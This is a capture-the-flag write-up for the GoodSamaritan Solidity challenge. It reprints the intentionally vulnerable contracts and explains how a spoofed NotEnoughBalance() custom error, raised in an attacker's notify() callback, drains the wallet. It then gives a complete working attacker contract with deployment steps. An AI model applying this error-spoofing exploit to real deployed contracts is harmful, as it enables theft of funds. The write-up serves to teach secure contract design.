// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;
import "openzeppelin-contracts-08/utils/Address.sol";
contract GoodSamaritan {
Wallet public wallet;
Coin public coin;
constructor() {
wallet = new Wallet();
coin = new Coin(address(wallet));
wallet.setCoin(coin);
}
function requestDonation() external returns(bool enoughBalance){
// donate 10 coins to requester
try wallet.donate10(msg.sender) {
return true;
} catch (bytes memory err) {
if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
// send the coins left
wallet.transferRemainder(msg.sender);
return false;
}
}
}
}
contract Coin {
using Address for address;
mapping(address => uint256) public balances;
error InsufficientBalance(uint256 current, uint256 required);
constructor(address wallet_) {
// one million coins for Good Samaritan initially
balances[wallet_] = 10**6;
}
function transfer(address dest_, uint256 amount_) external {
uint256 currentBalance = balances[msg.sender];
// transfer only occurs if balance is enough
if(amount_ <= currentBalance) {
balances[msg.sender] -= amount_;
balances[dest_] += amount_;
if(dest_.isContract()) {
// notify contract
INotifyable(dest_).notify(amount_);
}
} else {
revert InsufficientBalance(currentBalance, amount_);
}
}
}
contract Wallet {
// The owner of the wallet instance
address public owner;
Coin public coin;
error OnlyOwner();
error NotEnoughBalance();
modifier onlyOwner() {
if(msg.sender != owner) {
revert OnlyOwner();
}
_;
}
constructor() {
owner = msg.sender;
}
function donate10(address dest_) external onlyOwner {
// check balance left
if (coin.balances(address(this)) < 10) {
revert NotEnoughBalance();
} else {
// donate 10 coins
coin.transfer(dest_, 10);
}
}
function transferRemainder(address dest_) external onlyOwner {
// transfer balance left
coin.transfer(dest_, coin.balances(address(this)));
}
function setCoin(Coin coin_) external onlyOwner {
coin = coin_;
}
}
interface INotifyable {
function notify(uint256 amount) external;
}
The challenge contract that we directly interacting with is GoodSamaritan. This can be verified by querying the contract ABI in Chrome console:
await contract.abi
To drain all the balance from the wallet, we have to trigger the logic in the catch block:
function requestDonation() external returns(bool enoughBalance){
// donate 10 coins to requester
try wallet.donate10(msg.sender) {
return true;
} catch (bytes memory err) {
if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
// send the coins left
wallet.transferRemainder(msg.sender);
return false;
}
}
}
That is, we must trigger the NotEnoughBalance() error when calling wallet.donate10(). Let's examine the implementation of Wallet::donate10():
function donate10(address dest_) external onlyOwner {
// check balance left
if (coin.balances(address(this)) < 10) {
revert NotEnoughBalance();
} else {
// donate 10 coins
coin.transfer(dest_, 10);
}
}
Clearly we are not going into the if branch. In the else branch, coin.transfer(dest_, 10) is called. Examine the implementation of Coin::transfer():
function transfer(address dest_, uint256 amount_) external {
uint256 currentBalance = balances[msg.sender];
// transfer only occurs if balance is enough
if(amount_ <= currentBalance) {
balances[msg.sender] -= amount_;
balances[dest_] += amount_;
if(dest_.isContract()) {
// notify contract
INotifyable(dest_).notify(amount_);
}
} else {
revert InsufficientBalance(currentBalance, amount_);
}
}
Here INotifyable(dest_).notify(amount_) is interesting. Note that dest_ is msg.sender, that is, we have control over dest_ and we can write custom logic in our own notify() function.
Recall that our goal is to trigger the NotEnoughBalance() error when wallet.donate10() is called, so in our exp we can implement:
function notify(uint256 amount) external pure {
if (amount == 10) {
revert NotEnoughBalance();
}
}
Solution
Step 1: Copy and paste the challenge contract into Remix and save it as GoodSamaritan.sol.
Step 2: Deploy our exp in Remix:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import './GoodSamaritan.sol';
contract GoodSamaritanHack {
error NotEnoughBalance();
GoodSamaritan challenge = GoodSamaritan(<your_challenge_instance_address>);
function pwn() external returns (bool result){
result = challenge.requestDonation();
}
function notify(uint256 amount) external pure {
if (amount == 10) {
revert NotEnoughBalance();
}
}
}
Step 3: Call pwn().
Summary
Congratulations! You have completed the final level (for now).
Custom errors in Solidity are identified by their 4-byte signature, the same as a function call. They are bubbled up through the call chain until they are caught by a catch statement in a try-catch block, as seen in the GoodSamaritan's requestDonation() function. For these reasons, it is not safe to assume that the error was thrown by the immediate target of the contract call (i.e., Wallet in this case). Any other contract further down in the call chain can declare the same error--which will have the same signature--and throw it at an unexpected location, such as in the notify(uint256 amount) function in your attacker contract.